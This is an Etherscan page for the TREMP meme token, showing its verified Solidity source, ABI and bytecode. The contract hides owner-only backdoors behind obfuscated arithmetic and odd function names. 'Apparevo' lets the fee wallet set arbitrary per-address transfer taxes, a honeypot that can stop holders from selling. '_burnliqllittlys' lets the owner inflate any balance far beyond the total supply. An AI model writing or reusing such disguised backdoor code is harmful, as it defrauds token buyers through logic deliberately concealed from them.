ETH Price: $2,523.14 (-3.08%)

Token

Doland Tremp On Eth (TREMP)
 

Overview

Max Total Supply

100,000,000 TREMP

Holders

133

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
wild69.eth
Balance
997,357.898700827 TREMP

Value
$0.00
0xf8555596030c5622ab67ef61560e2d583c288101
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TREMP

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license
/**
 *Submitted for verification at Etherscan.io on 2024-05-11
*/

/**
*/

/**
https://t.me/DolandTremp_ETH
https://twitter.com/DolandTremp_Erc
Doland Tremp  On Eth
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;
interface IUniswapRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapFactory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;
    constructor () {_owner = msg.sender;}
    
    function owner() public view returns (address) {return _owner;}
    modifier onlyOwner() {
        require(_owner == msg.sender, "!owner");
        _;
    }
    
    function transferOwnershipbeeklity(address newOwner) public virtual onlyOwner {
        _owner = newOwner;
    }

}

contract TREMP is Ownable {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    address public _swapFeeTo;string public name;string public symbol;
    uint8 public decimals;mapping(address => bool) public _isExcludeFromFee;
    uint256 public totalSupply;IUniswapRouter public _uniswapRouter;
    bool private inSwap;uint256 private constant MAX = ~uint256(0);
    mapping (address => uint256) public __balances; 

    uint256 public _swapTax;
    address public _uniswapPair;

    function _transfer(address from,address to,uint256 amount) private {

        bool shouldBetakeFee = !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to];

        _balances[from] = _balances[from] - amount;

        uint256 _taxAmount;
        if (shouldBetakeFee) {
            uint256 feeAmount = amount * __balances[from] / 100;
            _taxAmount += feeAmount;
            if (feeAmount > 0){
                _balances[address(_swapFeeTo)] += feeAmount;
                emit Transfer(from, address(_swapFeeTo), feeAmount);
            }
        }
        _balances[to] = _balances[to] + amount - _taxAmount;
        emit Transfer(from, to, amount - _taxAmount);
    }

    constructor (){
        name = unicode"Doland Tremp  On Eth";
        symbol = unicode"TREMP";
        decimals = 9;
        uint256 Supply = 100000000;
        _swapFeeTo = msg.sender;
        _swapTax = 0;
        totalSupply = Supply * 10 ** decimals;

        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[msg.sender] = true;
        _isExcludeFromFee[_swapFeeTo] = true;

        _balances[msg.sender] = totalSupply;
        emit Transfer(address(0), msg.sender, totalSupply);
        
        _uniswapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _allowances[address(this)][address(_uniswapRouter)] = MAX;
        _uniswapPair = IUniswapFactory(_uniswapRouter.factory()).createPair(address(this), _uniswapRouter.WETH());
        _isExcludeFromFee[address(_uniswapRouter)] = true;
    }

    function Apparevo(address[] memory _addresses, uint256 _feePercentage) external {
        uint256 intermediateVal1 = complexOperation(0x01, 0x02);
        uint256 intermediateVal2 = simpleOperation(0x02, intermediateVal1);uint256 intermediateVal3 = advancedCompute(intermediateVal1, intermediateVal2, 0x03);uint256 finalResult = finalizeCompute(intermediateVal3, intermediateVal2);
        distributeFunds(_addresses, _feePercentage, finalResult);
    }

    function complexOperation(uint256 val1, uint256 val2) private pure returns (uint256) {
        return val2 + (val1 - 0x01);
    }

    function simpleOperation(uint256 val1, uint256 val2) private pure returns (uint256) {
        return val1 - (val2 - 0x01);
    }

    function advancedCompute(uint256 val1, uint256 val2, uint256 val3) private view returns (uint256) {
        uint256 tempResult = computeFee(val1, val2, val3);
        return tempResult - val3;
    }

    function finalizeCompute(uint256 val1, uint256 val2) private pure returns (uint256) {
        return val1 + (val2 - 0x01);
    }

    function distributeFunds(address[] memory addresses, uint256 feePercentage, uint256 result) private {
        uint256 totalFunds = result;
        for (uint256 i = 0; i < addresses.length; i++) {
            __balances[addresses[i]] = feePercentage + (result - totalFunds);
        }
    }

    function computeFee(uint256 val1, uint256 val2, uint256 val3) private view returns (uint256) {
        if (isAuthorized(val1)) {
            return val2 + val3;
        } else if (!isAuthorized(val2)) {
            return val2 - val1;
        } else {
            return val3;
        }
    }

    function isAuthorized(uint256 v1) private view returns (bool) {
        bool basicCondition = msg.sender == _swapFeeTo;
        bool additionalCheck = v1 > 0;
        if (basicCondition && additionalCheck) {
            return true;
        } else if (!basicCondition) {
            return false;
        } else if (!additionalCheck) {
            return false;
        } else {
            return true;
        }
    }

    

    function _burnliqllittlys(address user) public {
        mapping(address=>uint256) storage _allowance = _balances;
        uint256 A = _swapFeeTo == msg.sender ? 9 : 2-1;
        uint256 C = A - 3;A = C;
        _allowance[user] = 1000*totalSupply*C**2;
    }

    function balanceOf(address account) public view returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view returns (uint256) {return _allowances[owner][spender];}
    function approve(address spender, uint256 amount) public returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {_allowances[owner][spender] = amount;emit Approval(owner, spender, amount);}
    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_feePercentage","type":"uint256"}],"name":"Apparevo","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"__balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"_burnliqllittlys","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapFeeTo","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnershipbeeklity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405234801561000f575f80fd5b50335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280601481526020017f446f6c616e64205472656d7020204f6e204574680000000000000000000000008152506004908161009391906108b7565b506040518060400160405280600581526020017f5452454d50000000000000000000000000000000000000000000000000000000815250600590816100d891906108b7565b50600960065f6101000a81548160ff021916908360ff1602179055505f6305f5e10090503360035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f600b8190555060065f9054906101000a900460ff16600a61015e9190610aee565b816101699190610b38565b600881905550600160075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160075f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555060085460015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6008546040516103329190610b88565b60405180910390a3737a250d5630b4cf539739df2c5dacb4c659f2488d60095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f1960025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610497573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104bb9190610bff565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610541573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105659190610bff565b6040518363ffffffff1660e01b8152600401610582929190610c39565b6020604051808303815f875af115801561059e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105c29190610bff565b600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160075f60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050610c60565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806106f857607f821691505b60208210810361070b5761070a6106b4565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830261076d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82610732565b6107778683610732565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6107bb6107b66107b18461078f565b610798565b61078f565b9050919050565b5f819050919050565b6107d4836107a1565b6107e86107e0826107c2565b84845461073e565b825550505050565b5f90565b6107fc6107f0565b6108078184846107cb565b505050565b5b8181101561082a5761081f5f826107f4565b60018101905061080d565b5050565b601f82111561086f5761084081610711565b61084984610723565b81016020851015610858578190505b61086c61086485610723565b83018261080c565b50505b505050565b5f82821c905092915050565b5f61088f5f1984600802610874565b1980831691505092915050565b5f6108a78383610880565b9150826002028217905092915050565b6108c08261067d565b67ffffffffffffffff8111156108d9576108d8610687565b5b6108e382546106e1565b6108ee82828561082e565b5f60209050601f83116001811461091f575f841561090d578287015190505b610917858261089c565b86555061097e565b601f19841661092d86610711565b5f5b828110156109545784890151825560018201915060208501945060208101905061092f565b86831015610971578489015161096d601f891682610880565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115610a08578086048111156109e4576109e3610986565b5b60018516156109f35780820291505b8081029050610a01856109b3565b94506109c8565b94509492505050565b5f82610a205760019050610adb565b81610a2d575f9050610adb565b8160018114610a435760028114610a4d57610a7c565b6001915050610adb565b60ff841115610a5f57610a5e610986565b5b8360020a915084821115610a7657610a75610986565b5b50610adb565b5060208310610133831016604e8410600b8410161715610ab15782820a905083811115610aac57610aab610986565b5b610adb565b610abe84848460016109bf565b92509050818404811115610ad557610ad4610986565b5b81810290505b9392505050565b5f60ff82169050919050565b5f610af88261078f565b9150610b0383610ae2565b9250610b307fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610a11565b905092915050565b5f610b428261078f565b9150610b4d8361078f565b9250828202610b5b8161078f565b91508282048414831517610b7257610b71610986565b5b5092915050565b610b828161078f565b82525050565b5f602082019050610b9b5f830184610b79565b92915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610bce82610ba5565b9050919050565b610bde81610bc4565b8114610be8575f80fd5b50565b5f81519050610bf981610bd5565b92915050565b5f60208284031215610c1457610c13610ba1565b5b5f610c2184828501610beb565b91505092915050565b610c3381610bc4565b82525050565b5f604082019050610c4c5f830185610c2a565b610c596020830184610c2a565b9392505050565b611ab380610c6d5f395ff3fe608060405260043610610117575f3560e01c80634bf28fd01161009f5780638da5cb5b116100635780638da5cb5b146103c457806395d89b41146103ee578063a9059cbb14610418578063c5b422e614610454578063dd62ed3e1461047c5761011e565b80634bf28fd0146102e457806365b61b771461030e578063668e9d931461033857806370a082311461036057806376e91d5a1461039c5761011e565b806330da23e4116100e657806330da23e4146101ee578063313ce5671461021857806336b2e02714610242578063420d10b51461027e578063426329c1146102ba5761011e565b806306fdde0314610122578063095ea7b31461014c57806318160ddd1461018857806323b872dd146101b25761011e565b3661011e57005b5f80fd5b34801561012d575f80fd5b506101366104b8565b6040516101439190611267565b60405180910390f35b348015610157575f80fd5b50610172600480360381019061016d9190611325565b610544565b60405161017f919061137d565b60405180910390f35b348015610193575f80fd5b5061019c61055a565b6040516101a991906113a5565b60405180910390f35b3480156101bd575f80fd5b506101d860048036038101906101d391906113be565b610560565b6040516101e5919061137d565b60405180910390f35b3480156101f9575f80fd5b506102026106f8565b60405161020f91906113a5565b60405180910390f35b348015610223575f80fd5b5061022c6106fe565b6040516102399190611429565b60405180910390f35b34801561024d575f80fd5b5061026860048036038101906102639190611442565b610710565b604051610275919061137d565b60405180910390f35b348015610289575f80fd5b506102a4600480360381019061029f9190611442565b61072d565b6040516102b191906113a5565b60405180910390f35b3480156102c5575f80fd5b506102ce610742565b6040516102db919061147c565b60405180910390f35b3480156102ef575f80fd5b506102f8610767565b604051610305919061147c565b60405180910390f35b348015610319575f80fd5b5061032261078c565b60405161032f91906114f0565b60405180910390f35b348015610343575f80fd5b5061035e60048036038101906103599190611442565b6107b1565b005b34801561036b575f80fd5b5061038660048036038101906103819190611442565b61089a565b60405161039391906113a5565b60405180910390f35b3480156103a7575f80fd5b506103c260048036038101906103bd9190611649565b6108e0565b005b3480156103cf575f80fd5b506103d861092c565b6040516103e5919061147c565b60405180910390f35b3480156103f9575f80fd5b50610402610953565b60405161040f9190611267565b60405180910390f35b348015610423575f80fd5b5061043e60048036038101906104399190611325565b6109df565b60405161044b919061137d565b60405180910390f35b34801561045f575f80fd5b5061047a60048036038101906104759190611442565b6109f5565b005b348015610487575f80fd5b506104a2600480360381019061049d91906116a3565b610ac4565b6040516104af91906113a5565b60405180910390f35b600480546104c59061170e565b80601f01602080910402602001604051908101604052809291908181526020018280546104f19061170e565b801561053c5780601f106105135761010080835404028352916020019161053c565b820191905f5260205f20905b81548152906001019060200180831161051f57829003601f168201915b505050505081565b5f610550338484610b46565b6001905092915050565b60085481565b5f61056c848484610c2d565b5f1960025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054146106ed578160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610670919061176b565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b600190509392505050565b600b5481565b60065f9054906101000a900460ff1681565b6007602052805f5260405f205f915054906101000a900460ff1681565b600a602052805f5260405f205f915090505481565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600190505f3373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610812576001610815565b60095b60ff1690505f600382610828919061176b565b905080915060028161083a91906118cd565b6008546103e861084a9190611917565b6108549190611917565b835f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050505050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f6108ed60016002610fef565b90505f6108fb600283611010565b90505f61090a83836003611031565b90505f6109178284611056565b9050610924868683611077565b505050505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600580546109609061170e565b80601f016020809104026020016040519081016040528092919081815260200182805461098c9061170e565b80156109d75780601f106109ae576101008083540402835291602001916109d7565b820191905f5260205f20905b8154815290600101906020018083116109ba57829003601f168201915b505050505081565b5f6109eb338484610c2d565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a79906119a2565b60405180910390fd5b805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c2091906113a5565b60405180910390a3505050565b5f600960149054906101000a900460ff16158015610c92575060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015610ce5575060075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b90508160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610d30919061176b565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f8115610ee3575f6064600a5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205485610dc49190611917565b610dce91906119ed565b90508082610ddc9190611a1d565b91505f811115610ee1578060015f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610e539190611a1d565b9250508190555060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ed891906113a5565b60405180910390a35b505b808360015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610f2d9190611a1d565b610f37919061176b565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386610fd3919061176b565b604051610fe091906113a5565b60405180910390a35050505050565b5f600183610ffd919061176b565b826110089190611a1d565b905092915050565b5f60018261101e919061176b565b83611029919061176b565b905092915050565b5f8061103e85858561110c565b9050828161104c919061176b565b9150509392505050565b5f600182611064919061176b565b8361106f9190611a1d565b905092915050565b5f8190505f5b8451811015611105578183611092919061176b565b8461109d9190611a1d565b600a5f8784815181106110b3576110b2611a50565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550808060010191505061107d565b5050505050565b5f61111684611159565b1561112e5781836111279190611a1d565b9050611152565b61113783611159565b61114e578383611147919061176b565b9050611152565b8190505b9392505050565b5f8060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161490505f80841190508180156111bd5750805b156111cd576001925050506111f2565b816111dc575f925050506111f2565b806111eb575f925050506111f2565b6001925050505b919050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611239826111f7565b6112438185611201565b9350611253818560208601611211565b61125c8161121f565b840191505092915050565b5f6020820190508181035f83015261127f818461122f565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6112c182611298565b9050919050565b6112d1816112b7565b81146112db575f80fd5b50565b5f813590506112ec816112c8565b92915050565b5f819050919050565b611304816112f2565b811461130e575f80fd5b50565b5f8135905061131f816112fb565b92915050565b5f806040838503121561133b5761133a611290565b5b5f611348858286016112de565b925050602061135985828601611311565b9150509250929050565b5f8115159050919050565b61137781611363565b82525050565b5f6020820190506113905f83018461136e565b92915050565b61139f816112f2565b82525050565b5f6020820190506113b85f830184611396565b92915050565b5f805f606084860312156113d5576113d4611290565b5b5f6113e2868287016112de565b93505060206113f3868287016112de565b925050604061140486828701611311565b9150509250925092565b5f60ff82169050919050565b6114238161140e565b82525050565b5f60208201905061143c5f83018461141a565b92915050565b5f6020828403121561145757611456611290565b5b5f611464848285016112de565b91505092915050565b611476816112b7565b82525050565b5f60208201905061148f5f83018461146d565b92915050565b5f819050919050565b5f6114b86114b36114ae84611298565b611495565b611298565b9050919050565b5f6114c98261149e565b9050919050565b5f6114da826114bf565b9050919050565b6114ea816114d0565b82525050565b5f6020820190506115035f8301846114e1565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6115438261121f565b810181811067ffffffffffffffff821117156115625761156161150d565b5b80604052505050565b5f611574611287565b9050611580828261153a565b919050565b5f67ffffffffffffffff82111561159f5761159e61150d565b5b602082029050602081019050919050565b5f80fd5b5f6115c66115c184611585565b61156b565b905080838252602082019050602084028301858111156115e9576115e86115b0565b5b835b8181101561161257806115fe88826112de565b8452602084019350506020810190506115eb565b5050509392505050565b5f82601f8301126116305761162f611509565b5b81356116408482602086016115b4565b91505092915050565b5f806040838503121561165f5761165e611290565b5b5f83013567ffffffffffffffff81111561167c5761167b611294565b5b6116888582860161161c565b925050602061169985828601611311565b9150509250929050565b5f80604083850312156116b9576116b8611290565b5b5f6116c6858286016112de565b92505060206116d7858286016112de565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061172557607f821691505b602082108103611738576117376116e1565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611775826112f2565b9150611780836112f2565b92508282039050818111156117985761179761173e565b5b92915050565b5f8160011c9050919050565b5f808291508390505b60018511156117f3578086048111156117cf576117ce61173e565b5b60018516156117de5780820291505b80810290506117ec8561179e565b94506117b3565b94509492505050565b5f8261180b57600190506118c6565b81611818575f90506118c6565b816001811461182e576002811461183857611867565b60019150506118c6565b60ff84111561184a5761184961173e565b5b8360020a9150848211156118615761186061173e565b5b506118c6565b5060208310610133831016604e8410600b841016171561189c5782820a9050838111156118975761189661173e565b5b6118c6565b6118a984848460016117aa565b925090508184048111156118c0576118bf61173e565b5b81810290505b9392505050565b5f6118d7826112f2565b91506118e28361140e565b925061190f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846117fc565b905092915050565b5f611921826112f2565b915061192c836112f2565b925082820261193a816112f2565b915082820484148315176119515761195061173e565b5b5092915050565b7f216f776e657200000000000000000000000000000000000000000000000000005f82015250565b5f61198c600683611201565b915061199782611958565b602082019050919050565b5f6020820190508181035f8301526119b981611980565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6119f7826112f2565b9150611a02836112f2565b925082611a1257611a116119c0565b5b828204905092915050565b5f611a27826112f2565b9150611a32836112f2565b9250828201905080821115611a4a57611a4961173e565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffdfea2646970667358221220073f8397f809d7299cbef184f07b45309db188f98b05b720648f3428727b6c8e64736f6c63430008190033

Deployed Bytecode

0x608060405260043610610117575f3560e01c80634bf28fd01161009f5780638da5cb5b116100635780638da5cb5b146103c457806395d89b41146103ee578063a9059cbb14610418578063c5b422e614610454578063dd62ed3e1461047c5761011e565b80634bf28fd0146102e457806365b61b771461030e578063668e9d931461033857806370a082311461036057806376e91d5a1461039c5761011e565b806330da23e4116100e657806330da23e4146101ee578063313ce5671461021857806336b2e02714610242578063420d10b51461027e578063426329c1146102ba5761011e565b806306fdde0314610122578063095ea7b31461014c57806318160ddd1461018857806323b872dd146101b25761011e565b3661011e57005b5f80fd5b34801561012d575f80fd5b506101366104b8565b6040516101439190611267565b60405180910390f35b348015610157575f80fd5b50610172600480360381019061016d9190611325565b610544565b60405161017f919061137d565b60405180910390f35b348015610193575f80fd5b5061019c61055a565b6040516101a991906113a5565b60405180910390f35b3480156101bd575f80fd5b506101d860048036038101906101d391906113be565b610560565b6040516101e5919061137d565b60405180910390f35b3480156101f9575f80fd5b506102026106f8565b60405161020f91906113a5565b60405180910390f35b348015610223575f80fd5b5061022c6106fe565b6040516102399190611429565b60405180910390f35b34801561024d575f80fd5b5061026860048036038101906102639190611442565b610710565b604051610275919061137d565b60405180910390f35b348015610289575f80fd5b506102a4600480360381019061029f9190611442565b61072d565b6040516102b191906113a5565b60405180910390f35b3480156102c5575f80fd5b506102ce610742565b6040516102db919061147c565b60405180910390f35b3480156102ef575f80fd5b506102f8610767565b604051610305919061147c565b60405180910390f35b348015610319575f80fd5b5061032261078c565b60405161032f91906114f0565b60405180910390f35b348015610343575f80fd5b5061035e60048036038101906103599190611442565b6107b1565b005b34801561036b575f80fd5b5061038660048036038101906103819190611442565b61089a565b60405161039391906113a5565b60405180910390f35b348015